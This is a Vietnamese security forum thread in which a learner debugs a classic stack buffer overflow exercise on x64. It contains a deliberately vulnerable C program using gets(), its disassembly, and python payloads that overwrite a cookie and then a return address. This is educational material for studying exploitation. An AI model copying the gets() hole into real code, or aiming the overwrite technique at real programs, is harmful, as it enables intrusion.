[Thắc mắc] BufferOver Flow

dancago

W-------
18/06/2014
0
6 bài viết
[Thắc mắc] BufferOver Flow
Hi mọi người,
Mình đang tìm hiểu về Buffer OverFlow theo quyển Khai thác lỗ hổng phần mềm. Nhưng đang gặp vấn đề nhờ mọi người giúp.:)
Mã:
#include 

int main()
{
    int cookie;
    char buf[16];
    printf("&buf: %p, &cookie: %p\n", buf, cookie);
    gets(buf);
    if(cookie == 0x41424344)
    {
        printf("You_win!\n");
    }
}
Mình thấy nó cấp phát 32 byte:
Mã:
   0x400554 :    push   %rbp
   0x400555 :    mov    %rsp,%rbp
   0x400558 :    sub    $0x20,%rsp
Thử test với 28 byte lấp đầy buff và vùng nhớ đc cấp + 4byte cho biến cookie =>OK:
Mã:
[root@localhost Desktop]# python -c 'print "a"*28 + "\x44\x43\x42\x41"' | ./stack1
&buf: 0x7fffffffe4a0, &cookie: 0x7fffffffe4bc
You_win!

Bây giờ mình thử bằng cách khác là thay đổi địa chỉ trở về (lưu trong ngăn xếp) chính là địa chỉ của nhánh xử lý "bằng"
Mình lấy được địa chỉ nhánh xử lý bằng là 0x40058f:
Mã:
   0x400588 :    cmp    $0x41424344,%eax
   0x40058d :    jne    0x400599 
   0x40058f :    mov    $0x4006af,%edi
Cần 28byte+4byte cookie+4 byte ebp cũ =36 byte và 4 byte 0040058f, thử nhưng ko đc?
Mã:
[root@localhost Desktop]# python -c 'print "a"*36 + "\x8f\x05\x40\x00"' | ./stack1
&buf: 0x7fffffffe4a0, &cookie: 0x7fffffffe4bc
Segmentation fault (core dumped)

Không biết mình tính sai chỗ nào nhỉ?
Mình dùng gcc version 4.4.7 20120313


Thank!
 
Chỉnh sửa lần cuối bởi người điều hành:
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Re: [Thắc mắc] BufferOver Flow

Bạn build cho x64 thì xem lại kích thước của 1 phần tử stack, calling convention trên x64.
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Re: [Thắc mắc] BufferOver Flow

Mình không hiểu giá tri 4 byte ebx cũ mà bạn nói cho lắm. Vì sau khi bạn ghi vượt quá kích thước của biến thì giá trị đó sẽ ghi đè lên stack ngay sau địa chỉ của biến, sao bạn không thử đặt địa chỉ ngay sau byte thứ 32.
theo mình chương trình bị crash có thể là giá trị sau byte thứ 32 là địa chỉ không hợp lệ.
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Re: [Thắc mắc] BufferOver Flow

luffy;13805 đã viết:
Bạn build cho x64 thì xem lại kích thước của 1 phần tử stack, calling convention trên x64.
Cho mình hỏi trong x64 thì khi đưa 1 giá trị vào stack thì ESP sẽ đc gán là ESP-4 hay là ESP-8 nhỉ.:).

Mã:
[root@localhost Desktop]# python -c 'print "a"*40 + "\x8f\x05\x40\x00"' | ./stack1
&buf: 0x7fffffffe4a0, &cookie: 0x7fffffffe4bc
You_win!
Bus error (core dumped)
Chỗ này phải là 40 byte, có phải là 32 byte cho vùng nhớ cấp (buff, cookie và phần dư) và + 8byte.
8Byte này lưu EBP cũ phải ko nhỉ? Như vậy đối với x64, sẽ dùng 8 byte cho 1 phần tử khi đc push vào stack đúng không (khi đưa 1 giá trị vào stack thì ESP sẽ đc gán là là ESP-8)?

Thank :)
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Re: [Thắc mắc] BufferOver Flow

CauUt37;13806 đã viết:
Mình không hiểu giá tri 4 byte ebx cũ mà bạn nói cho lắm. Vì sau khi bạn ghi vượt quá kích thước của biến thì giá trị đó sẽ ghi đè lên stack ngay sau địa chỉ của biến, sao bạn không thử đặt địa chỉ ngay sau byte thứ 32.
theo mình chương trình bị crash có thể là giá trị sau byte thứ 32 là địa chỉ không hợp lệ.

Mình không hiểu ý bạn lắm???
Mục đích của mình chính là ghi đè địa trị trở về mà.
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Re: [Thắc mắc] BufferOver Flow

trên x64 thì push rbp là mất 8 bytes rồi :3
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Comment
Thẻ
bufferover flow
Bên trên